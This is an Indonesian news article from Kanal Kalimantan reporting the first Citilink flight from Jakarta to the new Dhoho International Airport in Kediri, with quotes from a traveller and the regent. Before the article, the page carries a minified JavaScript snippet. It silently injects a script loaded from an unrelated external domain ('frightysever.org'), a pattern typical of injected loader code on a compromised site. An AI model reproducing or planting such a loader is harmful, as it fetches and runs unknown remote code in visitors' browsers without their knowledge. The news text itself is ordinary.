(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KEDIRI – Bandara Internasional Dhoho, Kediri, Jawa Timur, kedatangan ratusan pemudik yang ikut dalam penerbangan perdana dari Jakarta menggunakan pesawat Citilink, Jumat (5/4/2024).
Pesawat Citilink dengan nomor QG275 berangkat dari Bandara Soekarno-Hatta (Soetta) Cengkareng Jakarta, pada pukul 08.10 WIB dan tiba di Bandara Internasional Dhoho, Kediri pada pukul 09.40 WIB.
Setelah mendarat, dua unit mobil water cannon yang telah bersiaga di area apron, langsung melakukan penyemprotan air ke udara sebagai bagian dari prosesi water salute.
Prosesi water salute ini menandai mulai beroperasinya Bandara Internasional Dhoho Kediri. Bandara Dhoho Kediri ini akan menjadi penghubung udara kawasan selatan Jawa Timur dan siap melayani penerbangan baik domestik maupun mancanegara.
Baca juga:Â Kompetisi Futsal Smansapa Ramadan League 2024, Jadi Ajang Silaturahmi Alumni SMAN 1 Paringin
Selain itu, dengan beroperasi Bandara Internasional Dhoho Kediri ini, diharapkan mampu memecah kepadatan dan antrean pemudik yang turun di Bandara Juanda Surabaya. Karena selama ini, pemudik yang pulang ke Jawa bagian selatan, turun di Bandara Juanda Surabaya.
“Tadi saya senang karena naik pesawat Citilink yang merupakan pendaratan perdana di Kediri. Selain itu Bandara Dhoho ini juga dekat dengan kampung halaman saya di Tulungagung, sehingga mudik saya lebih dekat,” kata Tara, pemudik asal Tulungagung.
Sementara, Bupati Kediri Hanindhito Himawan Pramana mengatakan, dengan beroperasinya Bandara Dhoho ini diharapkan dapat meningkatkan pertumbuhan perekonomian.
Ke depannya, pihaknya akan melakukan pengembangan infrastruktur pendukung, seperti jalan non-tol, dan sektor wisata.
“Yang jelas dengan beroperasinya Bandara Internasional Dhoho Kediri ini, akan mampu meningkatkan perekonomian di sekitarnya bandara. Kita juga akan melakukan pengembangan infrastruktur pendukung, seperti akses jalan, dan juga sektor pariwisata,” kata Hanindhito.
Penerbangan perdana yang dilakukan oleh maskapai Citilink, Indonesia ini akan menjadi tonggak bersejarah dalam pengembangan konektivitas udara dan pertumbuhan ekonomi di wilayah Jawa Timur bagian selatan, khususnya di Kabupaten Kediri dan sekitarnya.
Dengan frekuensi penerbangan dua kali seminggu, penerbangan ini bukan hanya sekadar sebuah layanan transportasi, tetapi juga sebuah momentum bersejarah bagi Kabupaten Kediri dan sekitarnya.
Bandar Udara Dhoho dibangun dengan standar internasional, dengan landasan pacu sepanjang 3.300 meter dan lebar 45 meter. Bandara ini mampu menampung pendaratan pesawat jet berbadan lebar.
Terminal penumpang dirancang untuk menampung hingga 1,5 juta penumpang setiap tahunnya pada tahap awal, dan akan mampu menampung hingga 10 juta penumpang per tahunnya. (Beritasatu.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.